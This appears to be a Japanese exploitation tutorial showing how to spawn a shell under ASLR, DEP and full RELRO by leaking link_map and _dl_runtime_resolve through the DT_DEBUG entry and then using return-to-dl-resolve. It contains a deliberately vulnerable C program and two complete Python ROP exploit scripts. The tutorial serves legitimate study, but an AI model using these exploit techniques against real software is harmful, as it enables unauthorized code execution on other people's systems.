「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらにRELROが有効な場合について、DT_DEBUGシンボルを利用したシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
実行時におけるPLT、GOTセクションの内容を調べてみる
Return-to-dl-resolveでは、実行時にGOTセクションの先頭にセットされる_dl_runtime_resolve関数のアドレスを利用していた。 しかし、lazy bindingが無効な場合、GOTアドレスの値は実行直後に解決され、それ以降解決されることはない。 そこで、gdbを使い、実行時におけるPLT、GOTセクションの内容を調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08048300 - 0x08048350 is .plt 0x08049fe0 - 0x0804a000 is .got (gdb) x/4i 0x08048300 0x8048300: push DWORD PTR ds:0x8049fe4 0x8048306: jmp DWORD PTR ds:0x8049fe8 0x804830c: add BYTE PTR [eax],al 0x804830e: add BYTE PTR [eax],al (gdb) x/2wx 0x8049fe4 0x8049fe4 <_GLOBAL_OFFSET_TABLE_+4>: 0x00000000 0x00000000 (gdb) quit
上の結果から、PLTセクションはRELROが無効の場合と変わらないが、GOTセクションに_dl_runtime_resolve関数のアドレスなどがセットされていないことがわかる。 実際にglibcのソースコードを調べてみると、これらのアドレスをセットする関数はx86の場合次のようになっている。
/* Set up the loaded object described by L so its unrelocated PLT entries will jump to the on-demand fixup code in dl-runtime.c. */ static inline int __attribute__ ((unused, always_inline)) elf_machine_runtime_setup (struct link_map *l, int lazy, int profile) { Elf32_Addr *got; extern void _dl_runtime_resolve (Elf32_Word) attribute_hidden; extern void _dl_runtime_profile (Elf32_Word) attribute_hidden; if (l->l_info[DT_JMPREL] && lazy) { /* The GOT entries for functions in the PLT have not yet been filled in. Their initial contents will arrange when called to push an offset into the .rel.plt section, push _GLOBAL_OFFSET_TABLE_[1], and then jump to _GLOBAL_OFFSET_TABLE[2]. */ got = (Elf32_Addr *) D_PTR (l, l_info[DT_PLTGOT]); /* If a library is prelinked but we have to relocate anyway, we have to be able to undo the prelinking of .got.plt. The prelinker saved us here address of .plt + 0x16. */ if (got[1]) { l->l_mach.plt = got[1] + l->l_addr; l->l_mach.gotplt = (Elf32_Addr) &got[3]; } got[1] = (Elf32_Addr) l; /* Identify this shared object. */ /* The got[2] entry contains the address of a function which gets called to get the address of a so far unresolved function and jump to it. The profiling extension of the dynamic linker allows to intercept the calls to collect information. In this case we don't store the address in the GOT so that all future calls also end in this function. */ if (__builtin_expect (profile, 0)) { got[2] = (Elf32_Addr) &_dl_runtime_profile; if (GLRO(dl_profile) != NULL && _dl_name_match_p (GLRO(dl_profile), l)) /* This is the object we are looking for. Say that we really want profiling and the timers are started. */ GL(dl_profile_map) = l; } else /* This function will get called to fix up the GOT entry indicated by the offset on the stack, and then jump to the resolved address. */ got[2] = (Elf32_Addr) &_dl_runtime_resolve; } return lazy; }
上のコードから、変数lazyがfalse、すなわち遅延バインドが無効な場合、GOTセクションの2ワード目、3ワード目がセットされないことがわかる。
GOTセクションに書かれるアドレスの詳細を調べてみる
一旦RELROを無効にしてコンパイルし直し、GOTセクションの2ワード目、3ワード目に入っている値について調べてみる。
$ gcc -fno-stack-protector bof.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08048300 - 0x08048350 is .plt 0x08049ff4 - 0x0804a010 is .got.plt (gdb) x/4i 0x08048300 0x8048300: push DWORD PTR ds:0x8049ff8 0x8048306: jmp DWORD PTR ds:0x8049ffc 0x804830c: add BYTE PTR [eax],al 0x804830e: add BYTE PTR [eax],al (gdb) x/2wx 0x8049ff8 0x8049ff8 <_GLOBAL_OFFSET_TABLE_+4>: 0xb7fff918 0xb7ff26a0
上のソースコードと比較すると、一つ目がライブラリの判別に使われるlink_map構造体、二つ目が_dl_runtime_resolve関数であることがわかる。 link_map構造体は各ライブラリのdynamicセクションのアドレスなどが書かれた構造体であり、双方向リストとしてライブラリごとの構造体を参照し合っている。 ソースコードから定義を調べると次のようになる。
/* Structure describing a loaded shared object. The `l_next' and `l_prev' members form a chain of all the shared objects loaded at startup. These data structures exist in space used by the run-time dynamic linker; modifying them may have disastrous results. */ struct link_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr; /* Base address shared object is loaded at. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ };
実際にgdbで対応する値を調べてみる。
(gdb) x/5wx 0xb7fff918 0xb7fff918: 0x00000000 0xb7ff7bc5 0x08049f28 0xb7fdd858 0xb7fff928: 0x00000000 (gdb) x/s 0xb7ff7bc5 0xb7ff7bc5: "" (gdb) x/wx 0x08049f28 0x8049f28 <_DYNAMIC>: 0x00000001 (gdb) x/5wx 0xb7fdd858 0xb7fdd858: 0xb7e29000 0xb7fdd838 0xb7fced7c 0xb7fff53c 0xb7fdd868: 0xb7fff918 (gdb) x/s 0xb7fdd838 0xb7fdd838: "/lib/i386-linux-gnu/libc.so.6" (gdb) x/5wx 0xb7fff53c 0xb7fff53c <_rtld_global+1308>: 0xb7fde000 0x08048154 0xb7ffef1c 0x00000000 0xb7fff54c <_rtld_global+1324>: 0xb7fdd858 (gdb) x/s 0x08048154 0x8048154: "/lib/ld-linux.so.2" (gdb) i proc map 0xb7e29000 0xb7fcd000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so (gdb) i files 0xb7fced7c - 0xb7fcee6c is .dynamic in /lib/i386-linux-gnu/libc.so.6 0xb7ffef1c - 0xb7ffefd4 is .dynamic in /lib/ld-linux.so.2
上の結果を整理すると、次のようになる。
l_addr *l_name *l_ld *l_next *l_prev ---------- ---------- ---------- ---------- ---------- 0xb7fff918: 0x00000000 0xb7ff7bc5 0x08049f28 0xb7fdd858 0x00000000 link_map[0] "" .dynamic link_map[1] 0xb7fdd858: 0xb7e29000 0xb7fdd838 0xb7fced7c 0xb7fff53c 0xb7fff918 link_map[1] base address "libc.so.6" .dynamic link_map[2] link_map[0] 0xb7fdd858: 0xb7fde000 0x08048154 0xb7ffef1c 0x00000000 0xb7fdd858 link_map[2] base address "ld-linux.so.2" .dynamic link_map[1]
リストの要素は、それぞれ実行ファイル、libc、ld-linux(ダイナミックリンカ)に対応している。 なお、この並びはlddコマンドが表示するものと同じである。
$ ldd a.out libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4b000) /lib/ld-linux.so.2 (0x80000000)
一方、_dl_runtime_resolve関数については次のような関数となっている。
(gdb) x/20i 0xb7ff26a0 0xb7ff26a0: push eax 0xb7ff26a1: push ecx 0xb7ff26a2: push edx 0xb7ff26a3: mov edx,DWORD PTR [esp+0x10] 0xb7ff26a7: mov eax,DWORD PTR [esp+0xc] 0xb7ff26ab: call 0xb7fec1d0 0xb7ff26b0: pop edx 0xb7ff26b1: mov ecx,DWORD PTR [esp] 0xb7ff26b4: mov DWORD PTR [esp],eax 0xb7ff26b7: mov eax,DWORD PTR [esp+0x4] 0xb7ff26bb: ret 0xc ...
dynamicセクションについて調べてみる
ここまでの内容より、link_map構造体から各ファイルのdynamicセクションのアドレスが得られることがわかった。 そこで、RELROを再度有効にし、readelfコマンドで実行ファイルのdynamicセクションの内容を表示してみる。
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ readelf -d a.out Dynamic section at offset 0xf08 contains 22 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x80482d0 0x0000000d (FINI) 0x804851c 0x6ffffef5 (GNU_HASH) 0x80481ac 0x00000005 (STRTAB) 0x804822c 0x00000006 (SYMTAB) 0x80481cc 0x0000000a (STRSZ) 80 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x8049fe0 0x00000002 (PLTRELSZ) 32 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x80482b0 0x00000011 (REL) 0x80482a8 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x00000018 (BIND_NOW) 0x6ffffffb (FLAGS_1) Flags: NOW 0x6ffffffe (VERNEED) 0x8048288 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x804827c 0x00000000 (NULL) 0x0
上の内容を見ると、dynamicセクションから他のセクションのアドレスが得られることがわかる。 ここで、objdumpコマンドを使いdynamicセクションの中身をバイト列として出力すると次のようになる。
$ objdump -s -j.dynamic a.out a.out: file format elf32-i386 Contents of section .dynamic: 8049f08 01000000 10000000 0c000000 d0820408 ................ 8049f18 0d000000 1c850408 f5feff6f ac810408 ...........o.... 8049f28 05000000 2c820408 06000000 cc810408 ....,........... 8049f38 0a000000 50000000 0b000000 10000000 ....P........... 8049f48 15000000 00000000 03000000 e09f0408 ................ 8049f58 02000000 20000000 14000000 11000000 .... ........... 8049f68 17000000 b0820408 11000000 a8820408 ................ 8049f78 12000000 08000000 13000000 08000000 ................ 8049f88 18000000 00000000 fbffff6f 01000000 ...........o.... 8049f98 feffff6f 88820408 ffffff6f 01000000 ...o.......o.... 8049fa8 f0ffff6f 7c820408 00000000 00000000 ...o|........... 8049fb8 00000000 00000000 00000000 00000000 ................ 8049fc8 00000000 00000000 00000000 00000000 ................ 8049fd8 00000000 00000000 ........
readelfコマンドの出力と比較すると、TagとName/Valueが交互に並んでいることがわかる。 実際、dynamicセクションにはElf32_Dyn構造体が並んでおり、その定義は次のようになっている。
/* Dynamic section entry. */ typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; /* Legal values for d_tag (dynamic entry type). */ #define DT_NULL 0 /* Marks end of dynamic section */ #define DT_NEEDED 1 /* Name of needed library */ #define DT_PLTGOT 3 /* Processor defined value */ #define DT_DEBUG 21 /* For debugging; unspecified */
なお、libcなどの共有ライブラリの場合d_ptrにはアドレスとしてファイル先頭からのオフセット値が入るが、実行時に実際のアドレスに置き換えられる。
ここで、DT_DEBUGに着目してみる。 DT_DEBUG (0x15) はgccが標準で埋め込むデバッグ用シンボルであり、対応するd_un共用体には実行時に次のr_debug構造体を指すアドレスが入る。
/* Rendezvous structure used by the run-time dynamic linker to communicate details of shared object loading to the debugger. If the executable's dynamic section has a DT_DEBUG element, the run-time linker sets that element's value to the address where this structure can be found. */ struct r_debug { int r_version; /* Version number for this protocol. */ struct link_map *r_map; /* Head of the chain of loaded objects. */ /* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ ElfW(Addr) r_brk; enum { /* This state value describes the mapping change taking place when the `r_brk' address is called. */ RT_CONSISTENT, /* Mapping change is complete. */ RT_ADD, /* Beginning to add a new object. */ RT_DELETE /* Beginning to remove an object mapping. */ } r_state; ElfW(Addr) r_ldbase; /* Base address the linker is loaded at. */ }; /* This is the instance of that structure used by the dynamic linker. */ extern struct r_debug _r_debug;
static void dl_main (const ElfW(Phdr) *phdr, ElfW(Word) phnum, ElfW(Addr) *user_entry, ElfW(auxv_t) *auxv) { (snip) /* Initialize _r_debug. */ struct r_debug *r = _dl_debug_initialize (GL(dl_rtld_map).l_addr, LM_ID_BASE); (snip) /* Set up debugging before the debugger is notified for the first time. */ #ifdef ELF_MACHINE_DEBUG_SETUP /* Some machines (e.g. MIPS) don't use DT_DEBUG in this way. */ ELF_MACHINE_DEBUG_SETUP (main_map, r); ELF_MACHINE_DEBUG_SETUP (&GL(dl_rtld_map), r); #else if (main_map->l_info[DT_DEBUG] != NULL) /* There is a DT_DEBUG entry in the dynamic section. Fill it in with the run-time address of the r_debug structure */ main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r; /* Fill in the pointer in the dynamic linker's own dynamic section, in case you run gdb on the dynamic linker directly. */ if (GL(dl_rtld_map).l_info[DT_DEBUG] != NULL) GL(dl_rtld_map).l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r; #endif (snip) }
この構造体は、gdbが動的にロードされたライブラリの情報を取得するためなどに使われている。
実際に、gdbでDT_DEBUG (0x15) に対応する値を確認してみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08049f08 - 0x08049fe0 is .dynamic (gdb) x/60wx 0x08049f08 0x8049f08 <_DYNAMIC>: 0x00000001 0x00000010 0x0000000c 0x080482d0 0x8049f18 <_DYNAMIC+16>: 0x0000000d 0x0804851c 0x6ffffef5 0x080481ac 0x8049f28 <_DYNAMIC+32>: 0x00000005 0x0804822c 0x00000006 0x080481cc 0x8049f38 <_DYNAMIC+48>: 0x0000000a 0x00000050 0x0000000b 0x00000010 0x8049f48 <_DYNAMIC+64>: 0x00000015 0xb7fff904 0x00000003 0x08049fe0 0x8049f58 <_DYNAMIC+80>: 0x00000002 0x00000020 0x00000014 0x00000011 ... 0x8049fd8 <_DYNAMIC+208>: 0x00000000 0x00000000 0x08049f08 0x00000000 0x8049fe8 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000 0xb7f08210 0x00000000 0xb7e423e0 (gdb) x/5wx 0xb7fff904 0xb7fff904 <_r_debug>: 0x00000001 0xb7fff918 0xb7fed670 0x00000000 0xb7fff914 <_r_debug+16>: 0xb7fde000
ここで、r_debug構造体のr_mapに0xb7fff918、すなわち実行ファイルのlink_mapが入っていることがわかる。
以上をまとめると、次の流れでlink_map構造体および_dl_runtime_resolve関数のアドレスが得られることがわかる。
- 実行ファイルのdynamicセクションから、DT_DEBUGに対応する値としてr_debug構造体のアドレスを得る
- r_debug構造体からlink_map構造体のアドレスを得る
- link_map構造体のl_nextをたどり、適当なライブラリ(LIB)のlink_map構造体を得る
- LIBのlink_map構造体から、LIBのdynamicセクションのアドレスを得る
- LIBのdynamicセクションから、DT_GOTPLTに対応する値としてLIBのGOTセクションのアドレスを得る
- LIBのGOTセクションから、3ワード目の値として_dl_runtime_resolve関数のアドレスを得る
ここで、各ライブラリのGOTセクションで参照される_dl_runtime_resolve関数は共通となるため、LIBはlibcでなくてもよい。
なお、DT_DEBUGシンボルはgccの代わりにclangを使った場合でも標準で埋め込まれ、stripコマンドを使っても削除されない。
$ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ readelf -d a.out 0x00000015 (DEBUG) 0x0 $ strip --strip-all a.out $ readelf -d a.out 0x00000015 (DEBUG) 0x0
エクスプロイトコードを書いてみる
以上の内容をもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a008 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_plt_write = 0x8048340 # objdump -d -j.plt a.out addr_dt_debug = 0x8049f4c # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080484cf # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x100 buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 1000) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) buf2 = 'AAAA' # read dt_debug addr_esp = base_stage + 4 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += struct.pack('<I', addr_dt_debug) buf2 += struct.pack('<I', 4) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read r_debug addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_r_debug buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map_lib addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map_lib buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_dynamic addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_dynamic buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_gotplt addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_gotplt buf2 += struct.pack('<I', 12) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+40) buf2 += struct.pack('<I', 8) # call dl_resolve addr_esp += 40 addr_reloc = addr_esp + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 += 'AAAA' # addr_dl_resolve buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_bss) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) addr_r_debug = p.stdout.read(4) print "[+] addr_r_debug = %08x" % struct.unpack('<I', addr_r_debug)[0] p.stdin.write(addr_r_debug) addr_link_map = p.stdout.read(20)[4:8] print "[+] addr_link_map = %08x" % struct.unpack('<I', addr_link_map)[0] p.stdin.write(addr_link_map) addr_link_map_lib = p.stdout.read(20)[12:16] print "[+] addr_link_map_lib = %08x" % struct.unpack('<I', addr_link_map_lib)[0] p.stdin.write(addr_link_map_lib) addr_lib_dynamic = p.stdout.read(20)[8:12] print "[+] addr_lib_dynamic = %08x" % struct.unpack('<I', addr_lib_dynamic)[0] p.stdin.write(addr_lib_dynamic) lib_dynamic = p.stdout.read(size_bulkread) addr_lib_gotplt = lib_dynamic.split('\x03\x00\x00\x00')[1][:4] print "[+] addr_lib_gotplt = %08x" % struct.unpack('<I', addr_lib_gotplt)[0] p.stdin.write(addr_lib_gotplt) addr_dl_resolve = p.stdout.read(12)[8:12] print "[+] addr_dl_resolve = %08x" % struct.unpack('<I', addr_dl_resolve)[0] p.stdin.write(addr_dl_resolve + addr_link_map) p.wait()
このコードは、オーバーフローさせるバッファサイズを引数に取る。 コードの内容としては、ROP stagerでbssセグメントに書き込みstack pivotした後、read/writeを使って順番にデータを読み書きしていく。 libcのdynamicセクションについては、変数size_bulkreadにて指定したサイズ(0x100)だけデータを読み込んだ後、DT_GOTPLT (0x3) に対応する値を切り出すことでGOTセクションのアドレスを得る。 そして最後に、得られたlink_map構造体と_dl_runtime_resolve関数のアドレスをもとに、Return-to-dl-resolveにてsystem関数を呼び出す。 ここで、解決したライブラリ関数のアドレスが書き込まれるElf32_Rel構造体のr_offsetには、GOTアドレスの代わりにbssセクションなど書き込み可能なアドレスをセットする。 これはRELROによりGOTセクションが書き込み不可となっているためである。
引数をセットし実行すると次のようになる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08' [+] addr_r_debug = b7730904 [+] addr_link_map = b7730918 [+] addr_link_map_lib = b770e858 [+] addr_lib_dynamic = b76ffd7c [+] addr_lib_gotplt = b76ffff4 [+] addr_dl_resolve = b77236a0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLR+DEP+RELROが有効な条件下で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
近い位置にあるデータをまとめて読み出してみる
上の結果から、r_debugとlink_map、lib_dynamicとlib_gotpltのアドレスが近いことがわかる。 そこで、これらをまとめて読み出すことで読み書きの回数を減らしてみると次のようになる。
# exploit2.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a008 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_plt_write = 0x8048340 # objdump -d -j.plt a.out addr_dt_debug = 0x8049f4c # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080484cf # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x400 buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 1000) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) buf2 = 'AAAA' # read dt_debug addr_esp = base_stage + 4 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += struct.pack('<I', addr_dt_debug) buf2 += struct.pack('<I', 4) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read r_debug and link_map addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_r_debug buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map_lib addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map_lib buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_dynamic and lib_gotplt addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_dynamic buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+40) buf2 += struct.pack('<I', 8) # call dl_resolve addr_esp += 40 addr_reloc = addr_esp + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 += 'AAAA' # addr_dl_resolve buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_bss) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) data = p.stdout.read(4) addr_r_debug = struct.unpack('<I', data)[0] print "[+] addr_r_debug = %08x" % addr_r_debug p.stdin.write(struct.pack('<I', addr_r_debug)) data = p.stdout.read(size_bulkread) addr_link_map = struct.unpack('<I', data[4:8])[0] offset = addr_link_map - addr_r_debug addr_link_map_lib = struct.unpack('<I', data[offset+12:offset+16])[0] print "[+] addr_link_map, addr_link_map_lib = %08x, %08x" % (addr_link_map, addr_link_map_lib) p.stdin.write(struct.pack('<I', addr_link_map_lib)) data = p.stdout.read(20) addr_lib_dynamic = struct.unpack('<I', data[8:12])[0] print "[+] addr_lib_dynamic = %08x" % addr_lib_dynamic p.stdin.write(struct.pack('<I', addr_lib_dynamic)) data = p.stdout.read(size_bulkread) addr_lib_gotplt = struct.unpack('<I', data.split('\x03\x00\x00\x00')[1][:4])[0] offset = addr_lib_gotplt - addr_lib_dynamic addr_dl_resolve = struct.unpack('<I', data[offset+8:offset+12])[0] print "[+] addr_lib_gotplt, addr_dl_resolve = %08x, %08x" % (addr_lib_gotplt, addr_dl_resolve) p.stdin.write(struct.pack('<II', addr_dl_resolve, addr_link_map)) p.wait()
ここでは、size_bulkreadの値を0x400に変更し、このサイズだけまとめて読み出した後必要な値を抜き出している。
実行してみると次のようになる。
